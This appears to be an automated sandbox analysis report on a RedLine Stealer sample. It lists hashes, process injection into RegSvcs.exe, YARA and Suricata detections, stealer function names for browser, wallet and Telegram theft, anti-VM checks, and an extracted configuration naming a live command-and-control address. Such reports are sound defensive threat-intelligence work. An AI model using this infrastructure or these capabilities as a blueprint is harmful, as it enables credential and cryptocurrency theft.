Edit tour

Windows Analysis Report
yGu4YUwMl6.exe

Overview

General Information

Sample name:	yGu4YUwMl6.exe renamed because original name is a hash value
Original sample name:	1161b525009e7448837a658eecc04275.exe
Analysis ID:	1621303
MD5:	1161b525009e7448837a658eecc04275
SHA1:	2cad4c2f589760f6ae6830acb122a9d5eb9c66de
SHA256:	7b9c9e71110c3980f1803a7438f507eadea9b078e59a61d551e21e1cae8ad5e5
Tags:	exeRedLineStealeruser-abuse_ch
Infos:

Detection

RedLine

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Icon mismatch, binary includes an icon from a different legit application in order to fool users

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected AntiVM3

Yara detected RedLine Stealer

.NET source code contains potential unpacker

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Injects a PE file into a foreign processes

Joe Sandbox ML detected suspicious sample

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Uses known network protocols on non-standard ports

Writes to foreign memory regions

Allocates memory with a write watch (potentially for evading sandboxes)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected TCP or UDP traffic on non-standard ports

Detected potential crypto function

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

yGu4YUwMl6.exe (PID: 7276 cmdline: "C:\Users\user\Desktop\yGu4YUwMl6.exe" MD5: 1161B525009E7448837A658EECC04275)

RegSvcs.exe (PID: 7444 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

RegSvcs.exe (PID: 7452 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe" MD5: 9D352BC46709F0CB5EC974633A0C3C94)

conhost.exe (PID: 7464 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
RedLine Stealer	RedLine Stealer is a malware available on underground forums for sale apparently as a standalone ($100/$150 depending on the version) or also on a subscription basis ($100/month). This malware harvests information from browsers such as saved credentials, autocomplete data, and credit card information. A system inventory is also taken when running on a target machine, to include details such as the username, location data, hardware configuration, and information regarding installed security software. More recent versions of RedLine added the ability to steal cryptocurrency. FTP and IM clients are also apparently targeted by this family, and this malware has the ability to upload and download files, execute commands, and periodically send back information about the infected computer.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://apophis133.medium.com/redline-technical-analysis-report-5034e16ad152 https://asec.ahnlab.com/en/30445/ https://asec.ahnlab.com/en/35981/ https://asec.ahnlab.com/ko/25837/	https://malpedia.caad.fkie.fraunhofer.de/details/win.redline_stealer

Malware Configuration

Threatname: RedLine

{"C2 url": ["185.222.58.44:55615"], "Bot Id": "cheat"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_RedLine_1	Yara detected RedLine Stealer	Joe Security
dump.pcap	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author	Strings
00000003.00000002.1867602795.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000003.00000002.1867602795.0000000000402000.00000040.00000400.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000003.00000002.1867602795.0000000000402000.00000040.00000400.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x133ca:$a4: get_ScannedWallets 0x12228:$a5: get_ScanTelegram 0x1304e:$a6: get_ScanGeckoBrowsersPaths 0x10e6a:$a7: <Processes>k__BackingField 0xed7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1079e:$a9: <ScanFTP>k__BackingField
00000000.00000002.1769436422.00000000040F8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000002.1769436422.00000000040F8000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
00000000.00000002.1769436422.00000000040F8000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x1391a:$a4: get_ScannedWallets 0x2b73a:$a4: get_ScannedWallets 0x4335a:$a4: get_ScannedWallets 0x12778:$a5: get_ScanTelegram 0x2a598:$a5: get_ScanTelegram 0x421b8:$a5: get_ScanTelegram 0x1359e:$a6: get_ScanGeckoBrowsersPaths 0x2b3be:$a6: get_ScanGeckoBrowsersPaths 0x42fde:$a6: get_ScanGeckoBrowsersPaths 0x113ba:$a7: <Processes>k__BackingField 0x291da:$a7: <Processes>k__BackingField 0x40dfa:$a7: <Processes>k__BackingField 0xf2cc:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x270ec:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x3ed0c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x10cee:$a9: <ScanFTP>k__BackingField 0x28b0e:$a9: <ScanFTP>k__BackingField 0x4072e:$a9: <ScanFTP>k__BackingField
Process Memory Space: yGu4YUwMl6.exe PID: 7276	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: yGu4YUwMl6.exe PID: 7276	JoeSecurity_AntiVM_3	Yara detected AntiVM_3	Joe Security
Process Memory Space: yGu4YUwMl6.exe PID: 7276	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: yGu4YUwMl6.exe PID: 7276	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x5d15f:$a4: get_ScannedWallets 0x5c006:$a5: get_ScanTelegram 0x5cde8:$a6: get_ScanGeckoBrowsersPaths 0x5ac99:$a7: <Processes>k__BackingField 0x581cc:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x5a5cd:$a9: <ScanFTP>k__BackingField
Process Memory Space: RegSvcs.exe PID: 7452	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 7452	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
Process Memory Space: RegSvcs.exe PID: 7452	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x23db22:$a4: get_ScannedWallets 0x23c9c9:$a5: get_ScanTelegram 0x23d7ab:$a6: get_ScanGeckoBrowsersPaths 0x23b65c:$a7: <Processes>k__BackingField 0x238b8f:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x23af90:$a9: <ScanFTP>k__BackingField
Click to see the 8 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.yGu4YUwMl6.exe.40f8350.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.yGu4YUwMl6.exe.40f8350.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.yGu4YUwMl6.exe.40f8350.0.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x117ca:$a4: get_ScannedWallets 0x10628:$a5: get_ScanTelegram 0x1144e:$a6: get_ScanGeckoBrowsersPaths 0xf26a:$a7: <Processes>k__BackingField 0xd17c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0xeb9e:$a9: <ScanFTP>k__BackingField
0.2.yGu4YUwMl6.exe.40f8350.0.unpack	infostealer_win_redline_strings	Finds Redline samples based on characteristic strings	Sekoia.io	0xfbcb:$gen01: ChromeGetRoamingName 0xfbff:$gen02: ChromeGetLocalName 0xfc28:$gen03: get_UserDomainName 0x11e67:$gen04: get_encrypted_key 0x113e3:$gen05: browserPaths 0x1172b:$gen06: GetBrowsers 0x11061:$gen07: get_InstalledInputLanguages 0xe84f:$gen08: BCRYPT_INIT_AUTH_MODE_INFO_VERSION 0x6938:$spe1: [AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7} 0x7318:$spe6: windows-1251, CommandLine: 0x125bd:$spe9: wallet 0xd00c:$typ01: 359A00EF6C789FD4C18644F56C5D3F97453FFF20 0xd107:$typ02: F413CEA9BAA458730567FE47F57CC3C94DDF63C0 0xd464:$typ03: A937C899247696B6565665BE3BD09607F49A2042 0xd571:$typ04: D67333042BFFC20116BF01BC556566EC76C6F7E2 0xd6f0:$typ05: 4E3D7F188A5F5102BEC5B820632BBAEC26839E63 0xd098:$typ07: 77A9683FAF2EC9EC3DABC09D33C3BD04E8897D60 0xd0c1:$typ08: A8F9B62160DF085B926D5ED70E2B0F6C95A25280 0xd25f:$typ10: 2FBDC611D3D91C142C969071EA8A7D3D10FF6301 0xd59a:$typ12: EB7EF1973CDC295B7B08FE6D82B9ECDAD1106AF2 0xd639:$typ13: 04EC68A0FC7D9B6A255684F330C28A4DCAB91F13
3.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
3.2.RegSvcs.exe.400000.0.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.yGu4YUwMl6.exe.40f8350.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0xe68a:$u7: RunPE 0x11d41:$u8: DownloadAndEx 0x7330:$pat14: , CommandLine: 0x11279:$v2_1: ListOfProcesses 0xe88b:$v2_2: get_ScanVPN 0xe92e:$v2_2: get_ScanFTP 0xf61e:$v2_2: get_ScanDiscord 0x1060c:$v2_2: get_ScanSteam 0x10628:$v2_2: get_ScanTelegram 0x106ce:$v2_2: get_ScanScreen 0x11416:$v2_2: get_ScanChromeBrowsersPaths 0x1144e:$v2_2: get_ScanGeckoBrowsersPaths 0x11709:$v2_2: get_ScanBrowsers 0x117ca:$v2_2: get_ScannedWallets 0x117f0:$v2_2: get_ScanWallets 0x11810:$v2_3: GetArguments 0xfed9:$v2_4: VerifyUpdate 0x147ea:$v2_4: VerifyUpdate 0x11bca:$v2_5: VerifyScanRequest 0x112c6:$v2_6: GetUpdates 0x147cb:$v2_6: GetUpdates
3.2.RegSvcs.exe.400000.0.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField
3.2.RegSvcs.exe.400000.0.unpack	infostealer_win_redline_strings	Finds Redline samples based on characteristic strings	Sekoia.io	0x119cb:$gen01: ChromeGetRoamingName 0x119ff:$gen02: ChromeGetLocalName 0x11a28:$gen03: get_UserDomainName 0x13c67:$gen04: get_encrypted_key 0x131e3:$gen05: browserPaths 0x1352b:$gen06: GetBrowsers 0x12e61:$gen07: get_InstalledInputLanguages 0x1064f:$gen08: BCRYPT_INIT_AUTH_MODE_INFO_VERSION 0x8738:$spe1: [AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7} 0x9118:$spe6: windows-1251, CommandLine: 0x143bd:$spe9: wallet 0xee0c:$typ01: 359A00EF6C789FD4C18644F56C5D3F97453FFF20 0xef07:$typ02: F413CEA9BAA458730567FE47F57CC3C94DDF63C0 0xf264:$typ03: A937C899247696B6565665BE3BD09607F49A2042 0xf371:$typ04: D67333042BFFC20116BF01BC556566EC76C6F7E2 0xf4f0:$typ05: 4E3D7F188A5F5102BEC5B820632BBAEC26839E63 0xee98:$typ07: 77A9683FAF2EC9EC3DABC09D33C3BD04E8897D60 0xeec1:$typ08: A8F9B62160DF085B926D5ED70E2B0F6C95A25280 0xf05f:$typ10: 2FBDC611D3D91C142C969071EA8A7D3D10FF6301 0xf39a:$typ12: EB7EF1973CDC295B7B08FE6D82B9ECDAD1106AF2 0xf439:$typ13: 04EC68A0FC7D9B6A255684F330C28A4DCAB91F13
3.2.RegSvcs.exe.400000.0.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x13610:$v2_3: GetArguments 0x11cd9:$v2_4: VerifyUpdate 0x165ea:$v2_4: VerifyUpdate 0x139ca:$v2_5: VerifyScanRequest 0x130c6:$v2_6: GetUpdates 0x165cb:$v2_6: GetUpdates
0.2.yGu4YUwMl6.exe.4110170.3.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.yGu4YUwMl6.exe.4110170.3.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.yGu4YUwMl6.exe.4110170.3.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x117ca:$a4: get_ScannedWallets 0x10628:$a5: get_ScanTelegram 0x1144e:$a6: get_ScanGeckoBrowsersPaths 0xf26a:$a7: <Processes>k__BackingField 0xd17c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0xeb9e:$a9: <ScanFTP>k__BackingField
0.2.yGu4YUwMl6.exe.4110170.3.unpack	infostealer_win_redline_strings	Finds Redline samples based on characteristic strings	Sekoia.io	0xfbcb:$gen01: ChromeGetRoamingName 0xfbff:$gen02: ChromeGetLocalName 0xfc28:$gen03: get_UserDomainName 0x11e67:$gen04: get_encrypted_key 0x113e3:$gen05: browserPaths 0x1172b:$gen06: GetBrowsers 0x11061:$gen07: get_InstalledInputLanguages 0xe84f:$gen08: BCRYPT_INIT_AUTH_MODE_INFO_VERSION 0x6938:$spe1: [AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7} 0x7318:$spe6: windows-1251, CommandLine: 0x125bd:$spe9: wallet 0xd00c:$typ01: 359A00EF6C789FD4C18644F56C5D3F97453FFF20 0xd107:$typ02: F413CEA9BAA458730567FE47F57CC3C94DDF63C0 0xd464:$typ03: A937C899247696B6565665BE3BD09607F49A2042 0xd571:$typ04: D67333042BFFC20116BF01BC556566EC76C6F7E2 0xd6f0:$typ05: 4E3D7F188A5F5102BEC5B820632BBAEC26839E63 0xd098:$typ07: 77A9683FAF2EC9EC3DABC09D33C3BD04E8897D60 0xd0c1:$typ08: A8F9B62160DF085B926D5ED70E2B0F6C95A25280 0xd25f:$typ10: 2FBDC611D3D91C142C969071EA8A7D3D10FF6301 0xd59a:$typ12: EB7EF1973CDC295B7B08FE6D82B9ECDAD1106AF2 0xd639:$typ13: 04EC68A0FC7D9B6A255684F330C28A4DCAB91F13
0.2.yGu4YUwMl6.exe.4110170.3.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0xe68a:$u7: RunPE 0x11d41:$u8: DownloadAndEx 0x7330:$pat14: , CommandLine: 0x11279:$v2_1: ListOfProcesses 0xe88b:$v2_2: get_ScanVPN 0xe92e:$v2_2: get_ScanFTP 0xf61e:$v2_2: get_ScanDiscord 0x1060c:$v2_2: get_ScanSteam 0x10628:$v2_2: get_ScanTelegram 0x106ce:$v2_2: get_ScanScreen 0x11416:$v2_2: get_ScanChromeBrowsersPaths 0x1144e:$v2_2: get_ScanGeckoBrowsersPaths 0x11709:$v2_2: get_ScanBrowsers 0x117ca:$v2_2: get_ScannedWallets 0x117f0:$v2_2: get_ScanWallets 0x11810:$v2_3: GetArguments 0xfed9:$v2_4: VerifyUpdate 0x147ea:$v2_4: VerifyUpdate 0x11bca:$v2_5: VerifyScanRequest 0x112c6:$v2_6: GetUpdates 0x147cb:$v2_6: GetUpdates
0.2.yGu4YUwMl6.exe.4110170.3.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.yGu4YUwMl6.exe.4110170.3.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.yGu4YUwMl6.exe.4110170.3.raw.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x2b1ea:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x2a048:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x2ae6e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0x28c8a:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x26b9c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField 0x285be:$a9: <ScanFTP>k__BackingField
0.2.yGu4YUwMl6.exe.4110170.3.raw.unpack	infostealer_win_redline_strings	Finds Redline samples based on characteristic strings	Sekoia.io	0x119cb:$gen01: ChromeGetRoamingName 0x295eb:$gen01: ChromeGetRoamingName 0x119ff:$gen02: ChromeGetLocalName 0x2961f:$gen02: ChromeGetLocalName 0x11a28:$gen03: get_UserDomainName 0x29648:$gen03: get_UserDomainName 0x13c67:$gen04: get_encrypted_key 0x2b887:$gen04: get_encrypted_key 0x131e3:$gen05: browserPaths 0x2ae03:$gen05: browserPaths 0x1352b:$gen06: GetBrowsers 0x2b14b:$gen06: GetBrowsers 0x12e61:$gen07: get_InstalledInputLanguages 0x2aa81:$gen07: get_InstalledInputLanguages 0x1064f:$gen08: BCRYPT_INIT_AUTH_MODE_INFO_VERSION 0x2826f:$gen08: BCRYPT_INIT_AUTH_MODE_INFO_VERSION 0x8738:$spe1: [AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7} 0x20358:$spe1: [AString-ZaString-z\d]{2String4}\.[String\w-]{String6}\.[\wString-]{2String7} 0x9118:$spe6: windows-1251, CommandLine: 0x20d38:$spe6: windows-1251, CommandLine: 0x143bd:$spe9: wallet
0.2.yGu4YUwMl6.exe.4110170.3.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x280aa:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x2b761:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x20d50:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x2ac99:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers 0x135ca:$v2_2: get_ScannedWallets 0x135f0:$v2_2: get_ScanWallets 0x282ab:$v2_2: get_ScanVPN 0x2834e:$v2_2: get_ScanFTP
0.2.yGu4YUwMl6.exe.40f8350.0.raw.unpack	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0.2.yGu4YUwMl6.exe.40f8350.0.raw.unpack	JoeSecurity_RedLine	Yara detected RedLine Stealer	Joe Security
0.2.yGu4YUwMl6.exe.40f8350.0.raw.unpack	Windows_Trojan_RedLineStealer_f54632eb	unknown	unknown	0x135ca:$a4: get_ScannedWallets 0x2b3ea:$a4: get_ScannedWallets 0x4300a:$a4: get_ScannedWallets 0x12428:$a5: get_ScanTelegram 0x2a248:$a5: get_ScanTelegram 0x41e68:$a5: get_ScanTelegram 0x1324e:$a6: get_ScanGeckoBrowsersPaths 0x2b06e:$a6: get_ScanGeckoBrowsersPaths 0x42c8e:$a6: get_ScanGeckoBrowsersPaths 0x1106a:$a7: <Processes>k__BackingField 0x28e8a:$a7: <Processes>k__BackingField 0x40aaa:$a7: <Processes>k__BackingField 0xef7c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x26d9c:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x3e9bc:$a8: <GetWindowsVersion>g__HKLM_GetString\|11_0 0x1099e:$a9: <ScanFTP>k__BackingField 0x287be:$a9: <ScanFTP>k__BackingField 0x403de:$a9: <ScanFTP>k__BackingField
0.2.yGu4YUwMl6.exe.40f8350.0.raw.unpack	infostealer_win_redline_strings	Finds Redline samples based on characteristic strings	Sekoia.io	0x119cb:$gen01: ChromeGetRoamingName 0x297eb:$gen01: ChromeGetRoamingName 0x4140b:$gen01: ChromeGetRoamingName 0x119ff:$gen02: ChromeGetLocalName 0x2981f:$gen02: ChromeGetLocalName 0x4143f:$gen02: ChromeGetLocalName 0x11a28:$gen03: get_UserDomainName 0x29848:$gen03: get_UserDomainName 0x41468:$gen03: get_UserDomainName 0x13c67:$gen04: get_encrypted_key 0x2ba87:$gen04: get_encrypted_key 0x436a7:$gen04: get_encrypted_key 0x131e3:$gen05: browserPaths 0x2b003:$gen05: browserPaths 0x42c23:$gen05: browserPaths 0x1352b:$gen06: GetBrowsers 0x2b34b:$gen06: GetBrowsers 0x42f6b:$gen06: GetBrowsers 0x12e61:$gen07: get_InstalledInputLanguages 0x2ac81:$gen07: get_InstalledInputLanguages 0x428a1:$gen07: get_InstalledInputLanguages
0.2.yGu4YUwMl6.exe.40f8350.0.raw.unpack	MALWARE_Win_RedLine	Detects RedLine infostealer	ditekSHen	0x1048a:$u7: RunPE 0x282aa:$u7: RunPE 0x3feca:$u7: RunPE 0x13b41:$u8: DownloadAndEx 0x2b961:$u8: DownloadAndEx 0x43581:$u8: DownloadAndEx 0x9130:$pat14: , CommandLine: 0x20f50:$pat14: , CommandLine: 0x38b70:$pat14: , CommandLine: 0x13079:$v2_1: ListOfProcesses 0x2ae99:$v2_1: ListOfProcesses 0x42ab9:$v2_1: ListOfProcesses 0x1068b:$v2_2: get_ScanVPN 0x1072e:$v2_2: get_ScanFTP 0x1141e:$v2_2: get_ScanDiscord 0x1240c:$v2_2: get_ScanSteam 0x12428:$v2_2: get_ScanTelegram 0x124ce:$v2_2: get_ScanScreen 0x13216:$v2_2: get_ScanChromeBrowsersPaths 0x1324e:$v2_2: get_ScanGeckoBrowsersPaths 0x13509:$v2_2: get_ScanBrowsers
Click to see the 20 entries

Suricata Signatures

ET MALWARE RedLine Stealer - CheckConnect Response

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-21T19:26:40.980727+0100	2045000	1	Malware Command and Control Activity Detected	185.222.58.44	55615	192.168.2.4	49734	TCP

ET MALWARE Redline Stealer/MetaStealer Family Activity (Response)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-21T19:26:44.425031+0100	2046056	1	A Network Trojan was detected	185.222.58.44	55615	192.168.2.4	49734	TCP

ET MALWARE Win32/LeftHook Stealer Browser Extension Config Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-21T19:26:44.425031+0100	2045001	1	Malware Command and Control Activity Detected	185.222.58.44	55615	192.168.2.4	49734	TCP

ETPRO MALWARE RedLine - CheckConnect Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-21T19:26:35.949638+0100	2849662	1	Malware Command and Control Activity Detected	192.168.2.4	49734	185.222.58.44	55615	TCP

ETPRO MALWARE RedLine - EnvironmentSettings Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-21T19:26:41.172955+0100	2849351	1	Malware Command and Control Activity Detected	192.168.2.4	49734	185.222.58.44	55615	TCP

ETPRO MALWARE RedLine - SetEnvironment Request

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-21T19:26:44.479705+0100	2849352	1	Malware Command and Control Activity Detected	192.168.2.4	49738	185.222.58.44	55615	TCP

Joe Security MALWARE RedLine - Initial C&C Contact - SOAP CheckConnect

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-02-21T19:26:35.949638+0100	1800000	1	Malware Command and Control Activity Detected	192.168.2.4	49734	185.222.58.44	55615	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: yGu4YUwMl6.exe

Avira: detected

Found malware configuration

Source: 0.2.yGu4YUwMl6.exe.4110170.3.raw.unpack

Malware Configuration Extractor: RedLine {"C2 url": ["185.222.58.44:55615"], "Bot Id": "cheat"}

Multi AV Scanner detection for submitted file

Source: yGu4YUwMl6.exe	Virustotal: Detection: 70%			Perma Link
Source: yGu4YUwMl6.exe	ReversingLabs: Detection: 71%

Joe Sandbox ML detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Source: yGu4YUwMl6.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 104.26.12.31:443 -> 192.168.2.4:49737 version: TLS 1.0

Source: yGu4YUwMl6.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: Mono.Cecil.Pdb source: yGu4YUwMl6.exe
Source:	Binary string: Microsoft.Build.Utilities.v4.0<>9__1_10<Weave>b__1_10columnHeader10<>9__1_0<Weave>b__1_0<>c__DisplayClass1_0<>9__2_0<.ctor>b__2_0<>9__3_0<WeaveDependencyObjectBaseClass>b__3_0<>9__14_0<GetStaticCtor>b__14_0<>c__DisplayClass4_0<>c__DisplayClass15_0<>c__DisplayClass5_0<>c__DisplayClass6_0<>9__7_0<IsAutoPropertySetter>b__7_0<>c__DisplayClass7_0<>c__DisplayClass18_0<>9__8_0<IsAutoPropertyGetter>b__8_0<GetStaticDependencyPropertyField>b__0<WeaveGetter>b__0<WeaveSetter>b__0<WeaveProperties>b__0<LoadWindows>b__0<WeaveDependencyProperty>b__0Ldarg_0get_<>h__TransparentIdentifier0<Weave>b__11columnHeader11<>9__1_1<Weave>b__1_1<>9__3_1<WeaveDependencyObjectBaseClass>b__3_1<cctor>5__1Ldarg_1IEnumerable`1Collection`1EqualityComparer`1IEnumerator`1List`1Form1WindowsFormsApplication1menuStrip1columnHeader1get_<>h__TransparentIdentifier1get_st1listView1<Weave>b__12columnHeader12Int32<>9__3_2<WeaveDependencyObjectBaseClass>b__3_2<propertyName>5__2<>9__2<Weave>b__2<>f__AnonymousType0`2<>f__AnonymousType1`2<>f__AnonymousType2`2Func`2IGrouping`2KeyValuePair`2Dictionary`2columnHeader2<>h__TransparentIdentifier2columnHeader13<>9__1_3<Weave>b__1_3<type>5__3<Weave>b__3Func`3columnHeader3columnHeader14<>9__1_4<Weave>b__1_4<declaringType>5__4<FindAttachedPropertyFields>d__4columnHeader4<>9__1_5<Weave>b__1_5<e>5__5columnHeader5<>9__1_6<Weave>b__1_6<isReadOnly>5__6columnHeader6<>9__1_7<Weave>b__1_7columnHeader7<Weave>b__8columnHeader8<>9<>9__1_9<Weave>b__1_9columnHeader9<Module>get_AGetWindowLongAget_BDWM_TNP_RECTSOURCEDWM_TNP_VISIBLEWS_VISIBLEGWL_STYLEPSIZESizeFget_GDWM_TNP_RECTDESTINATIONSystem.IOPAPLOPWS_BORDERget_RDWM_THUMBNAIL_PROPERTIESTget_grxVTARGETWINDOWZPVXDWM_TNP_SOURCECLIENTAREAONLYDWM_TNP_OPACITYaMono.Cecil.PdbmscorlibhThumbthumb<>cSystem.Collections.GenericMono.Collections.Genericget_IsStaticlpEnumFuncsrcget_Idget_CurrentManagedThreadId<>l__initialThreadIdProcessThreadLoadAddadd_SelectedIndexChangedcomboBox_SelectedIndexChangedset_FormattingEnabledSynchronized<<>h__TransparentIdentifier0>i__Field<<>h__TransparentIdentifier1>i__Field<method>i__Field<module>i__Field<type>i__Field<p>i__Field<TypePatternMatch>k__BackingField<AttributePatternMatch>k__BackingField<Definition>k__BackingField<HasChanges>k__BackingField<Files>k__BackingField<Assembly>k__BackingFieldAttachedPropertyFieldGetStaticDependencyPropertyFieldfieldLdsfldStsfldhWndget_OperandhwndAddGetterMethodAddSetterMethodImportObjectEqualsMethodget_GetMethodget_SetMethodImportMethodget_methodTracedefaultInstanceFieldReferenceMethodReferenceTypeReferenceMemberReferencePropertyReferencereferencercSourcesourceGetHashCodeget_OpCodeset_AutoScaleModenodeImageget_MessageLogMessagemessageAddRangeEndInvokeBeginInvokeImportProp